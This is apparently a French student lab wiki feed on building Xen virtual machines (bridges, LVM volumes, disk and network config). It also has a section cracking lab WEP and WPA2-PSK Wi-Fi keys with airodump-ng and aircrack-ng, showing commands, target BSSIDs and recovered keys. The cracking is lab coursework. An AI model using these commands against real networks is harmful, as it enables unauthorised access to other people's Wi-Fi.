==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12368</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12368"/>
		<updated>2026-02-24T11:34:37Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Fichier de configuration Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
=== Différence avec une machine physique ===&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Comment lire ça ? ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
